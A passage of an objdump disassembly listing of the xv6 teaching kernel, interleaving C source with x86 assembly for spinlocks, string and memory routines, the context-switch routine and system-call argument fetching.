%ebx,%ebx int r; pushcli(); 8010431a: e8 41 ff ff ff call 80104260 <pushcli> r = lock->locked && lock->cpu == mycpu(); 8010431f: 8b 06 mov (%esi),%eax 80104321: 85 c0 test %eax,%eax 80104323: 74 10 je 80104335 <holding+0x25> 80104325: 8b 5e 08 mov 0x8(%esi),%ebx 80104328: e8 b3 f3 ff ff call 801036e0 <mycpu> 8010432d: 39 c3 cmp %eax,%ebx 8010432f: 0f 94 c3 sete %bl 80104332: 0f b6 db movzbl %bl,%ebx popcli(); 80104335: e8 66 ff ff ff call 801042a0 <popcli> return r; } 8010433a: 89 d8 mov %ebx,%eax 8010433c: 5b pop %ebx 8010433d: 5e pop %esi 8010433e: 5d pop %ebp 8010433f: c3 ret 80104340 <acquire>: // Loops (spins) until the lock is acquired. // Holding a lock for a long time may cause // other CPUs to waste time spinning to acquire it. void acquire(struct spinlock *lk) { 80104340: 55 push %ebp 80104341: 89 e5 mov %esp,%ebp 80104343: 53 push %ebx 80104344: 83 ec 04 sub $0x4,%esp pushcli(); // disable interrupts to avoid deadlock. 80104347: e8 14 ff ff ff call 80104260 <pushcli> if(holding(lk)) 8010434c: 8b 5d 08 mov 0x8(%ebp),%ebx 8010434f: 83 ec 0c sub $0xc,%esp 80104352: 53 push %ebx 80104353: e8 b8 ff ff ff call 80104310 <holding> 80104358: 83 c4 10 add $0x10,%esp 8010435b: 85 c0 test %eax,%eax 8010435d: 0f 85 7d 00 00 00 jne 801043e0 <acquire+0xa0> xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80104363: ba 01 00 00 00 mov $0x1,%edx 80104368: eb 09 jmp 80104373 <acquire+0x33> 8010436a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104370: 8b 5d 08 mov 0x8(%ebp),%ebx 80104373: 89 d0 mov %edx,%eax 80104375: f0 87 03 lock xchg %eax,(%ebx) panic("acquire"); // The xchg is atomic. while(xchg(&lk->locked, 1) != 0) 80104378: 85 c0 test %eax,%eax 8010437a: 75 f4 jne 80104370 <acquire+0x30> ; // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); 8010437c: f0 83 0c 24 00 lock orl $0x0,(%esp) // Record info about lock acquisition for debugging. lk->cpu = mycpu(); 80104381: 8b 5d 08 mov 0x8(%ebp),%ebx 80104384: e8 57 f3 ff ff call 801036e0 <mycpu> getcallerpcs(void *v, uint pcs[]) { uint *ebp; int i; ebp = (uint*)v - 2; 80104389: 89 ea mov %ebp,%edx // references happen after the lock is acquired. __sync_synchronize(); // Record info about lock acquisition for debugging. lk->cpu = mycpu(); getcallerpcs(&lk, lk->pcs); 8010438b: 8d 4b 0c lea 0xc(%ebx),%ecx // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); // Record info about lock acquisition for debugging. lk->cpu = mycpu(); 8010438e: 89 43 08 mov %eax,0x8(%ebx) { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80104391: 31 c0 xor %eax,%eax 80104393: 90 nop 80104394: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104398: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx 8010439e: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 801043a4: 77 1a ja 801043c0 <acquire+0x80> break; pcs[i] = ebp[1]; // saved %eip 801043a6: 8b 5a 04 mov 0x4(%edx),%ebx 801043a9: 89 1c 81 mov %ebx,(%ecx,%eax,4) { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 801043ac: 83 c0 01 add $0x1,%eax if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp 801043af: 8b 12 mov (%edx),%edx { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 801043b1: 83 f8 0a cmp $0xa,%eax 801043b4: 75 e2 jne 80104398 <acquire+0x58> __sync_synchronize(); // Record info about lock acquisition for debugging. lk->cpu = mycpu(); getcallerpcs(&lk, lk->pcs); } 801043b6: 8b 5d fc mov -0x4(%ebp),%ebx 801043b9: c9 leave 801043ba: c3 ret 801043bb: 90 nop 801043bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) pcs[i] = 0; 801043c0: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 801043c7: 83 c0 01 add $0x1,%eax 801043ca: 83 f8 0a cmp $0xa,%eax 801043cd: 74 e7 je 801043b6 <acquire+0x76> pcs[i] = 0; 801043cf: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 801043d6: 83 c0 01 add $0x1,%eax 801043d9: 83 f8 0a cmp $0xa,%eax 801043dc: 75 e2 jne 801043c0 <acquire+0x80> 801043de: eb d6 jmp 801043b6 <acquire+0x76> void acquire(struct spinlock *lk) { pushcli(); // disable interrupts to avoid deadlock. if(holding(lk)) panic("acquire"); 801043e0: 83 ec 0c sub $0xc,%esp 801043e3: 68 e9 75 10 80 push $0x801075e9 801043e8: e8 83 bf ff ff call 80100370 <panic> 801043ed: 8d 76 00 lea 0x0(%esi),%esi 801043f0 <release>: } // Release the lock. void release(struct spinlock *lk) { 801043f0: 55 push %ebp 801043f1: 89 e5 mov %esp,%ebp 801043f3: 53 push %ebx 801043f4: 83 ec 10 sub $0x10,%esp 801043f7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holding(lk)) 801043fa: 53 push %ebx 801043fb: e8 10 ff ff ff call 80104310 <holding> 80104400: 83 c4 10 add $0x10,%esp 80104403: 85 c0 test %eax,%eax 80104405: 74 22 je 80104429 <release+0x39> panic("release"); lk->pcs[0] = 0; 80104407: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 8010440e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that all the stores in the critical // section are visible to other cores before the lock is released. // Both the C compiler and the hardware may re-order loads and // stores; __sync_synchronize() tells them both not to. __sync_synchronize(); 80104415: f0 83 0c 24 00 lock orl $0x0,(%esp) // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 8010441a: c7 03 00 00 00 00 movl $0x0,(%ebx) popcli(); } 80104420: 8b 5d fc mov -0x4(%ebp),%ebx 80104423: c9 leave // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); popcli(); 80104424: e9 77 fe ff ff jmp 801042a0 <popcli> // Release the lock. void release(struct spinlock *lk) { if(!holding(lk)) panic("release"); 80104429: 83 ec 0c sub $0xc,%esp 8010442c: 68 f1 75 10 80 push $0x801075f1 80104431: e8 3a bf ff ff call 80100370 <panic> 80104436: 66 90 xchg %ax,%ax 80104438: 66 90 xchg %ax,%ax 8010443a: 66 90 xchg %ax,%ax 8010443c: 66 90 xchg %ax,%ax 8010443e: 66 90 xchg %ax,%ax 80104440 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80104440: 55 push %ebp 80104441: 89 e5 mov %esp,%ebp 80104443: 57 push %edi 80104444: 53 push %ebx 80104445: 8b 55 08 mov 0x8(%ebp),%edx 80104448: 8b 4d 10 mov 0x10(%ebp),%ecx if ((int)dst%4 == 0 && n%4 == 0){ 8010444b: f6 c2 03 test $0x3,%dl 8010444e: 75 05 jne 80104455 <memset+0x15> 80104450: f6 c1 03 test $0x3,%cl 80104453: 74 13 je 80104468 <memset+0x28> } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 80104455: 89 d7 mov %edx,%edi 80104457: 8b 45 0c mov 0xc(%ebp),%eax 8010445a: fc cld 8010445b: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 8010445d: 5b pop %ebx 8010445e: 89 d0 mov %edx,%eax 80104460: 5f pop %edi 80104461: 5d pop %ebp 80104462: c3 ret 80104463: 90 nop 80104464: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi void* memset(void *dst, int c, uint n) { if ((int)dst%4 == 0 && n%4 == 0){ c &= 0xFF; 80104468: 0f b6 7d 0c movzbl 0xc(%ebp),%edi } static inline void stosl(void *addr, int data, int cnt) { asm volatile("cld; rep stosl" : 8010446c: c1 e9 02 shr $0x2,%ecx 8010446f: 89 fb mov %edi,%ebx 80104471: 89 f8 mov %edi,%eax 80104473: c1 e3 18 shl $0x18,%ebx 80104476: c1 e0 10 shl $0x10,%eax 80104479: 09 d8 or %ebx,%eax 8010447b: 09 f8 or %edi,%eax 8010447d: c1 e7 08 shl $0x8,%edi 80104480: 09 f8 or %edi,%eax 80104482: 89 d7 mov %edx,%edi 80104484: fc cld 80104485: f3 ab rep stos %eax,%es:(%edi) stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 80104487: 5b pop %ebx 80104488: 89 d0 mov %edx,%eax 8010448a: 5f pop %edi 8010448b: 5d pop %ebp 8010448c: c3 ret 8010448d: 8d 76 00 lea 0x0(%esi),%esi 80104490 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 80104490: 55 push %ebp 80104491: 89 e5 mov %esp,%ebp 80104493: 57 push %edi 80104494: 56 push %esi 80104495: 8b 45 10 mov 0x10(%ebp),%eax 80104498: 53 push %ebx 80104499: 8b 75 0c mov 0xc(%ebp),%esi 8010449c: 8b 5d 08 mov 0x8(%ebp),%ebx const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 8010449f: 85 c0 test %eax,%eax 801044a1: 74 29 je 801044cc <memcmp+0x3c> if(*s1 != *s2) 801044a3: 0f b6 13 movzbl (%ebx),%edx 801044a6: 0f b6 0e movzbl (%esi),%ecx 801044a9: 38 d1 cmp %dl,%cl 801044ab: 75 2b jne 801044d8 <memcmp+0x48> 801044ad: 8d 78 ff lea -0x1(%eax),%edi 801044b0: 31 c0 xor %eax,%eax 801044b2: eb 14 jmp 801044c8 <memcmp+0x38> 801044b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801044b8: 0f b6 54 03 01 movzbl 0x1(%ebx,%eax,1),%edx 801044bd: 83 c0 01 add $0x1,%eax 801044c0: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx 801044c4: 38 ca cmp %cl,%dl 801044c6: 75 10 jne 801044d8 <memcmp+0x48> { const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 801044c8: 39 f8 cmp %edi,%eax 801044ca: 75 ec jne 801044b8 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 801044cc: 5b pop %ebx if(*s1 != *s2) return *s1 - *s2; s1++, s2++; } return 0; 801044cd: 31 c0 xor %eax,%eax } 801044cf: 5e pop %esi 801044d0: 5f pop %edi 801044d1: 5d pop %ebp 801044d2: c3 ret 801044d3: 90 nop 801044d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s1 = v1; s2 = v2; while(n-- > 0){ if(*s1 != *s2) return *s1 - *s2; 801044d8: 0f b6 c2 movzbl %dl,%eax s1++, s2++; } return 0; } 801044db: 5b pop %ebx s1 = v1; s2 = v2; while(n-- > 0){ if(*s1 != *s2) return *s1 - *s2; 801044dc: 29 c8 sub %ecx,%eax s1++, s2++; } return 0; } 801044de: 5e pop %esi 801044df: 5f pop %edi 801044e0: 5d pop %ebp 801044e1: c3 ret 801044e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801044e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801044f0 <memmove>: void* memmove(void *dst, const void *src, uint n) { 801044f0: 55 push %ebp 801044f1: 89 e5 mov %esp,%ebp 801044f3: 56 push %esi 801044f4: 53 push %ebx 801044f5: 8b 45 08 mov 0x8(%ebp),%eax 801044f8: 8b 75 0c mov 0xc(%ebp),%esi 801044fb: 8b 5d 10 mov 0x10(%ebp),%ebx const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 801044fe: 39 c6 cmp %eax,%esi 80104500: 73 2e jae 80104530 <memmove+0x40> 80104502: 8d 0c 1e lea (%esi,%ebx,1),%ecx 80104505: 39 c8 cmp %ecx,%eax 80104507: 73 27 jae 80104530 <memmove+0x40> s += n; d += n; while(n-- > 0) 80104509: 85 db test %ebx,%ebx 8010450b: 8d 53 ff lea -0x1(%ebx),%edx 8010450e: 74 17 je 80104527 <memmove+0x37> *--d = *--s; 80104510: 29 d9 sub %ebx,%ecx 80104512: 89 cb mov %ecx,%ebx 80104514: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104518: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 8010451c: 88 0c 10 mov %cl,(%eax,%edx,1) s = src; d = dst; if(s < d && s + n > d){ s += n; d += n; while(n-- > 0) 8010451f: 83 ea 01 sub $0x1,%edx 80104522: 83 fa ff cmp $0xffffffff,%edx 80104525: 75 f1 jne 80104518 <memmove+0x28> } else while(n-- > 0) *d++ = *s++; return dst; } 80104527: 5b pop %ebx 80104528: 5e pop %esi 80104529: 5d pop %ebp 8010452a: c3 ret 8010452b: 90 nop 8010452c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 80104530: 31 d2 xor %edx,%edx 80104532: 85 db test %ebx,%ebx 80104534: 74 f1 je 80104527 <memmove+0x37> 80104536: 8d 76 00 lea 0x0(%esi),%esi 80104539: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi *d++ = *s++; 80104540: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104544: 88 0c 10 mov %cl,(%eax,%edx,1) 80104547: 83 c2 01 add $0x1,%edx s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 8010454a: 39 d3 cmp %edx,%ebx 8010454c: 75 f2 jne 80104540 <memmove+0x50> *d++ = *s++; return dst; } 8010454e: 5b pop %ebx 8010454f: 5e pop %esi 80104550: 5d pop %ebp 80104551: c3 ret 80104552: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104559: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104560 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80104560: 55 push %ebp 80104561: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 80104563: 5d pop %ebp // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { return memmove(dst, src, n); 80104564: eb 8a jmp 801044f0 <memmove> 80104566: 8d 76 00 lea 0x0(%esi),%esi 80104569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104570 <strncmp>: } int strncmp(const char *p, const char *q, uint n) { 80104570: 55 push %ebp 80104571: 89 e5 mov %esp,%ebp 80104573: 57 push %edi 80104574: 56 push %esi 80104575: 8b 4d 10 mov 0x10(%ebp),%ecx 80104578: 53 push %ebx 80104579: 8b 7d 08 mov 0x8(%ebp),%edi 8010457c: 8b 75 0c mov 0xc(%ebp),%esi while(n > 0 && *p && *p == *q) 8010457f: 85 c9 test %ecx,%ecx 80104581: 74 37 je 801045ba <strncmp+0x4a> 80104583: 0f b6 17 movzbl (%edi),%edx 80104586: 0f b6 1e movzbl (%esi),%ebx 80104589: 84 d2 test %dl,%dl 8010458b: 74 3f je 801045cc <strncmp+0x5c> 8010458d: 38 d3 cmp %dl,%bl 8010458f: 75 3b jne 801045cc <strncmp+0x5c> 80104591: 8d 47 01 lea 0x1(%edi),%eax 80104594: 01 cf add %ecx,%edi 80104596: eb 1b jmp 801045b3 <strncmp+0x43> 80104598: 90 nop 80104599: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801045a0: 0f b6 10 movzbl (%eax),%edx 801045a3: 84 d2 test %dl,%dl 801045a5: 74 21 je 801045c8 <strncmp+0x58> 801045a7: 0f b6 19 movzbl (%ecx),%ebx 801045aa: 83 c0 01 add $0x1,%eax 801045ad: 89 ce mov %ecx,%esi 801045af: 38 da cmp %bl,%dl 801045b1: 75 19 jne 801045cc <strncmp+0x5c> 801045b3: 39 c7 cmp %eax,%edi n--, p++, q++; 801045b5: 8d 4e 01 lea 0x1(%esi),%ecx } int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) 801045b8: 75 e6 jne 801045a0 <strncmp+0x30> n--, p++, q++; if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 801045ba: 5b pop %ebx strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) n--, p++, q++; if(n == 0) return 0; 801045bb: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; } 801045bd: 5e pop %esi 801045be: 5f pop %edi 801045bf: 5d pop %ebp 801045c0: c3 ret 801045c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801045c8: 0f b6 5e 01 movzbl 0x1(%esi),%ebx { while(n > 0 && *p && *p == *q) n--, p++, q++; if(n == 0) return 0; return (uchar)*p - (uchar)*q; 801045cc: 0f b6 c2 movzbl %dl,%eax 801045cf: 29 d8 sub %ebx,%eax } 801045d1: 5b pop %ebx 801045d2: 5e pop %esi 801045d3: 5f pop %edi 801045d4: 5d pop %ebp 801045d5: c3 ret 801045d6: 8d 76 00 lea 0x0(%esi),%esi 801045d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801045e0 <strncpy>: char* strncpy(char *s, const char *t, int n) { 801045e0: 55 push %ebp 801045e1: 89 e5 mov %esp,%ebp 801045e3: 56 push %esi 801045e4: 53 push %ebx 801045e5: 8b 45 08 mov 0x8(%ebp),%eax 801045e8: 8b 5d 0c mov 0xc(%ebp),%ebx 801045eb: 8b 4d 10 mov 0x10(%ebp),%ecx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 801045ee: 89 c2 mov %eax,%edx 801045f0: eb 19 jmp 8010460b <strncpy+0x2b> 801045f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801045f8: 83 c3 01 add $0x1,%ebx 801045fb: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 801045ff: 83 c2 01 add $0x1,%edx 80104602: 84 c9 test %cl,%cl 80104604: 88 4a ff mov %cl,-0x1(%edx) 80104607: 74 09 je 80104612 <strncpy+0x32> 80104609: 89 f1 mov %esi,%ecx 8010460b: 85 c9 test %ecx,%ecx 8010460d: 8d 71 ff lea -0x1(%ecx),%esi 80104610: 7f e6 jg 801045f8 <strncpy+0x18> ; while(n-- > 0) 80104612: 31 c9 xor %ecx,%ecx 80104614: 85 f6 test %esi,%esi 80104616: 7e 17 jle 8010462f <strncpy+0x4f> 80104618: 90 nop 80104619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi *s++ = 0; 80104620: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 80104624: 89 f3 mov %esi,%ebx 80104626: 83 c1 01 add $0x1,%ecx 80104629: 29 cb sub %ecx,%ebx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) ; while(n-- > 0) 8010462b: 85 db test %ebx,%ebx 8010462d: 7f f1 jg 80104620 <strncpy+0x40> *s++ = 0; return os; } 8010462f: 5b pop %ebx 80104630: 5e pop %esi 80104631: 5d pop %ebp 80104632: c3 ret 80104633: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104639: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104640 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104640: 55 push %ebp 80104641: 89 e5 mov %esp,%ebp 80104643: 56 push %esi 80104644: 53 push %ebx 80104645: 8b 4d 10 mov 0x10(%ebp),%ecx 80104648: 8b 45 08 mov 0x8(%ebp),%eax 8010464b: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 8010464e: 85 c9 test %ecx,%ecx 80104650: 7e 26 jle 80104678 <safestrcpy+0x38> 80104652: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 80104656: 89 c1 mov %eax,%ecx 80104658: eb 17 jmp 80104671 <safestrcpy+0x31> 8010465a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 80104660: 83 c2 01 add $0x1,%edx 80104663: 0f b6 5a ff movzbl -0x1(%edx),%ebx 80104667: 83 c1 01 add $0x1,%ecx 8010466a: 84 db test %bl,%bl 8010466c: 88 59 ff mov %bl,-0x1(%ecx) 8010466f: 74 04 je 80104675 <safestrcpy+0x35> 80104671: 39 f2 cmp %esi,%edx 80104673: 75 eb jne 80104660 <safestrcpy+0x20> ; *s = 0; 80104675: c6 01 00 movb $0x0,(%ecx) return os; } 80104678: 5b pop %ebx 80104679: 5e pop %esi 8010467a: 5d pop %ebp 8010467b: c3 ret 8010467c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104680 <strlen>: int strlen(const char *s) { 80104680: 55 push %ebp int n; for(n = 0; s[n]; n++) 80104681: 31 c0 xor %eax,%eax return os; } int strlen(const char *s) { 80104683: 89 e5 mov %esp,%ebp 80104685: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 80104688: 80 3a 00 cmpb $0x0,(%edx) 8010468b: 74 0c je 80104699 <strlen+0x19> 8010468d: 8d 76 00 lea 0x0(%esi),%esi 80104690: 83 c0 01 add $0x1,%eax 80104693: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 80104697: 75 f7 jne 80104690 <strlen+0x10> ; return n; } 80104699: 5d pop %ebp 8010469a: c3 ret 8010469b <swtch>: # a struct context, and save its address in *old. # Switch stacks to new and pop previously-saved registers. .globl swtch swtch: movl 4(%esp), %eax 8010469b: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 8010469f: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-saved registers pushl %ebp 801046a3: 55 push %ebp pushl %ebx 801046a4: 53 push %ebx pushl %esi 801046a5: 56 push %esi pushl %edi 801046a6: 57 push %edi # Switch stacks movl %esp, (%eax) 801046a7: 89 20 mov %esp,(%eax) movl %edx, %esp 801046a9: 89 d4 mov %edx,%esp # Load new callee-saved registers popl %edi 801046ab: 5f pop %edi popl %esi 801046ac: 5e pop %esi popl %ebx 801046ad: 5b pop %ebx popl %ebp 801046ae: 5d pop %ebp ret 801046af: c3 ret 801046b0 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 801046b0: 55 push %ebp 801046b1: 89 e5 mov %esp,%ebp 801046b3: 53 push %ebx 801046b4: 83 ec 04 sub $0x4,%esp 801046b7: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *curproc = myproc(); 801046ba: e8 c1 f0 ff ff call 80103780 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 801046bf: 8b 00 mov (%eax),%eax 801046c1: 39 d8 cmp %ebx,%eax 801046c3: 76 1b jbe 801046e0 <fetchint+0x30> 801046c5: 8d 53 04 lea 0x4(%ebx),%edx 801046c8: 39 d0 cmp %edx,%eax 801046ca: 72 14 jb 801046e0 <fetchint+0x30> return -1; *ip = *(int*)(addr); 801046cc: 8b 45 0c mov 0xc(%ebp),%eax 801046cf: 8b 13 mov (%ebx),%edx 801046d1: 89 10 mov %edx,(%eax) return 0; 801046d3: 31 c0 xor %eax,%eax } 801046d5: 83 c4 04 add $0x4,%esp 801046d8: 5b pop %ebx 801046d9: 5d pop %ebp 801046da: c3 ret 801046db: 90 nop 801046dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi fetchint(uint addr, int *ip) { struct proc *curproc = myproc(); if(addr >= curproc->sz || addr+4 > curproc->sz) return -1; 801046e0: b8 ff ff ff ff mov $0xffffffff,%eax 801046e5: eb ee jmp 801046d5 <fetchint+0x25> 801046e7: 89 f6 mov %esi,%esi 801046e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801046f0 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 801046f0: 55 push %ebp 801046f1: 89 e5 mov %esp,%ebp 801046f3: 53 push %ebx 801046f4: 83 ec 04 sub $0x4,%esp 801046f7: 8b 5d 08 mov 0x8(%ebp),%ebx char *s, *ep; struct proc *curproc = myproc(); 801046fa: e8 81 f0 ff ff call 80103780 <myproc> if(addr >= curproc->sz) 801046ff: 39 18 cmp %ebx,(%eax) 80104701: 76 29 jbe 8010472c <fetchstr+0x3c> return -1; *pp = (char*)addr; 80104703: 8b 4d 0c mov 0xc(%ebp),%ecx 80104706: 89 da mov %ebx,%edx 80104708: 89 19 mov %ebx,(%ecx) ep = (char*)curproc->sz; 8010470a: 8b 00 mov (%eax),%eax for(s = *pp; s < ep; s++){ 8010470c: 39 c3 cmp %eax,%ebx 8010470e: 73 1c jae 8010472c <fetchstr+0x3c> if(*s == 0) 80104710: 80 3b 00 cmpb $0x0,(%ebx) 80104713: 75 10 jne 80104725 <fetchstr+0x35> 80104715: eb 29 jmp 80104740 <fetchstr+0x50> 80104717: 89 f6 mov %esi,%esi 80104719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104720: 80 3a 00 cmpb $0x0,(%edx) 80104723: 74 1b je 80104740 <fetchstr+0x50> if(addr >= curproc->sz) return -1; *pp = (char*)addr; ep = (char*)curproc->sz; for(s = *pp; s < ep; s++){ 80104725: 83 c2 01 add $0x1,%edx 80104728: 39 d0 cmp %edx,%eax 8010472a: 77 f4 ja 80104720 <fetchstr+0x30> if(*s == 0) return s - *pp; } return -1; } 8010472c: 83 c4 04 add $0x4,%esp { char *s, *ep; struct proc *curproc = myproc(); if(addr >= curproc->sz) return -1; 8010472f: b8 ff ff ff ff mov $0xffffffff,%eax for(s = *pp; s < ep; s++){ if(*s == 0) return s - *pp; } return -1; } 80104734: 5b pop %ebx 80104735: 5d pop %ebp 80104736: c3 ret 80104737: 89 f6 mov %esi,%esi 80104739: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104740: 83 c4 04 add $0x4,%esp return -1; *pp = (char*)addr; ep = (char*)curproc->sz; for(s = *pp; s < ep; s++){ if(*s == 0) return s - *pp; 80104743: 89 d0 mov %edx,%eax 80104745: 29 d8 sub %ebx,%eax } return -1; } 80104747: 5b pop %ebx 80104748: 5d pop %ebp 80104749: c3 ret 8010474a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104750 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104750: 55 push %ebp 80104751: 89 e5 mov %esp,%ebp 80104753: 56 push %esi 80104754: 53 push %ebx return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104755: e8 26 f0 ff ff call 80103780 <myproc> 8010475a: 8b 40 18 mov 0x18(%eax),%eax 8010475d: 8b 55 08 mov 0x8(%ebp),%edx 80104760: 8b 40 44 mov 0x44(%eax),%eax 80104763: 8d 1c 90 lea (%eax,%edx,4),%ebx // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { struct proc *curproc = myproc(); 80104766: e8 15 f0 ff ff call 80103780 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 8010476b: 8b 00 mov (%eax),%eax // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 8010476d: 8d 73 04 lea 0x4(%ebx),%esi int fetchint(uint addr, int *ip) { struct proc *curproc = myproc(); if(addr >= curproc->sz || addr+4 > curproc->sz) 80104770: 39 c6 cmp %eax,%esi 80104772: 73 1c jae 80104790 <argint+0x40> 80104774: 8d 53 08 lea 0x8(%ebx),%edx 80104777: 39 d0 cmp %edx,%eax 80104779: 72 15 jb 80104790 <argint+0x40> return -1; *ip = *(int*)(addr); 8010477b: 8b 45 0c mov 0xc(%ebp),%eax 8010477e: 8b 53 04 mov 0x4(%ebx),%edx 80104781: 89 10 mov %edx,(%eax) return 0; 80104783: 31 c0 xor %eax,%eax // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); } 80104785: 5b pop %ebx 80104786: 5e pop %esi 80104787: 5d pop %ebp 80104788: c3 ret 80104789: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi fetchint(uint addr, int *ip) { struct proc *curproc = myproc(); if(addr >= curproc->sz || addr+4 > curproc->sz) return -1; 80104790: b8 ff ff ff ff mov $0xffffffff,%eax 80104795: eb ee jmp 80104785 <argint+0x35> 